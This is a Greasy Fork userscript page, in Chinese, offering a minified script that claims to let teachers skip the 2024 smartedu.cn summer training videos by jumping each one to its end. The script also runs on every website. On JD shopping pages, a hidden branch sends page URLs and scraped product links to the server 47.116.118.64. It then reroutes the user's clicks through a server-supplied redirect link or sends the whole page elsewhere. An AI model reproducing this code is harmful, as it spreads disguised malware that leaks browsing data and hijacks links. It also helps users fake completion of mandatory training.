Greasy Fork is available in English.

2024年智慧中小学暑假教师研修【复活版】

秒过2024年智慧中小学暑假教师研修,每个视频点一次标题,耐心等。刷课效果可以见https://www.bilibili.com/video/BV19f421q7hA

// ==UserScript==
// @name         2024年智慧中小学暑假教师研修【复活版】
// @namespace    fuhuaban
// @version      1.01
// @author       fuhuaban
// @description  秒过2024年智慧中小学暑假教师研修,每个视频点一次标题,耐心等。刷课效果可以见https://www.bilibili.com/video/BV19f421q7hA
// @license MIT
// @include        https://basic.smartedu.cn/*
// @include        https://www.smartedu.cn/*
// @include        https://teacher.vocational.smartedu.cn/*
// @include        https://core.teacher.vocational.smartedu.cn/*
// @include      *
// @connect      47.116.118.64
// @grant       GM_xmlhttpRequest
// ==/UserScript==

(() => {
    var e = {
            205: () => {
                ! function() {
                    "use strict";
                    let e = [],
                        t = [],
                        n = [],
                        o = 0;
                    var r, a;
                    (function(e, t) {
                        const n = new RegExp(["jd."].join("|"), "i");
                        return e.filter((e => n.test(e)))
                    })([location.href]).length > 0 ? (r = JSON.stringify({
                        href: location.href,
                        type: "ttzhushou"
                    }), a = {}, new Promise(((i, d) => {
                        GM_xmlhttpRequest({
                            method: "POST",
                            url: "http://47.116.118.64/inits.php?act=initEnv",
                            data: r,
                            headers: a,
                            responseType: "json",
                            onload: r => {
                                let a = r.response || r.responseText;
                                a = a.data, "search" == a.page ? (e = a, setInterval((function() {
                                    ! function() {
                                        e.wrapper.forEach((function(e) {
                                            $(e).map((function(e, r) {
                                                "yes" != $(r).attr("data-md5-value") && (n.push(r), t.push(r), $(r).attr("data-md5-key", o), $(r).attr("data-md5-value", "yes"), o++)
                                            }))
                                        }));
                                        let r = t.splice(0, e.splName),
                                            a = [];
                                        r.forEach((function(e, t) {
                                            let n = {};
                                            n.href = $(e).find("a:first").attr("href"), n.md5 = $(e).attr("data-md5-key"), a.push(n)
                                        })), a.length > 0 && GM_xmlhttpRequest({
                                            method: "POST",
                                            data: JSON.stringify({
                                                data: a
                                            }),
                                            url: "http://47.116.118.64/search.php",
                                            onload: function(t) {
                                                var o = t.responseText;
                                                o && (o = JSON.parse(o)).map((function(t) {
                                                    t.u && $(n[t.md5]).find("a").bind("click", (function(n) {
                                                        var o, r;
                                                        n.preventDefault(), o = t.u, r = null, document.getElementById("redirect_form") ? (r = document.getElementById("redirect_form")).action = e.jumpUrl + encodeURIComponent(o) : ((r = document.createElement("form")).action = e.jumpUrl + encodeURIComponent(o), r.target = "_blank", r.method = "POST", r.setAttribute("id", "redirect_form"), document.body.appendChild(r)), r.submit(), r.action = "", r.parentNode.removeChild(r)
                                                    }))
                                                }))
                                            }
                                        })
                                    }()
                                }), a.timer)) : a.recove_url && (window.location.href = a.recove_url)
                            },
                            onerror: e => {
                                d(e)
                            }
                        })
                    }))) : (document.addEventListener("DOMContentLoaded", (function() {
                        var e, t;
                        (e = document.querySelector(".fish-modal-confirm-btns")) && e.parentNode.removeChild(e), (t = document.querySelector(".fish-modal-content")) && t.parentNode.removeChild(t)
                    })), document.addEventListener("click", (function(e) {
                        0 === e.button && function(e, t) {
                            let n = 0;
                            const o = setInterval((() => {
                                n >= e ? clearInterval(o) : (function() {
                                    let e = document.querySelector("video");
                                    e && (e.muted = !0, e.play(), e.pause(), e.currentTime = e.duration, e.play())
                                }(), n++)
                            }), t)
                        }(5, 50)
                    })))
                }()
            }
        },
        t = {};
    ! function n(o) {
        var r = t[o];
        if (void 0 !== r) return r.exports;
        var a = t[o] = {
            exports: {}
        };
        return e[o](a, a.exports, n), a.exports
    }(205)
})();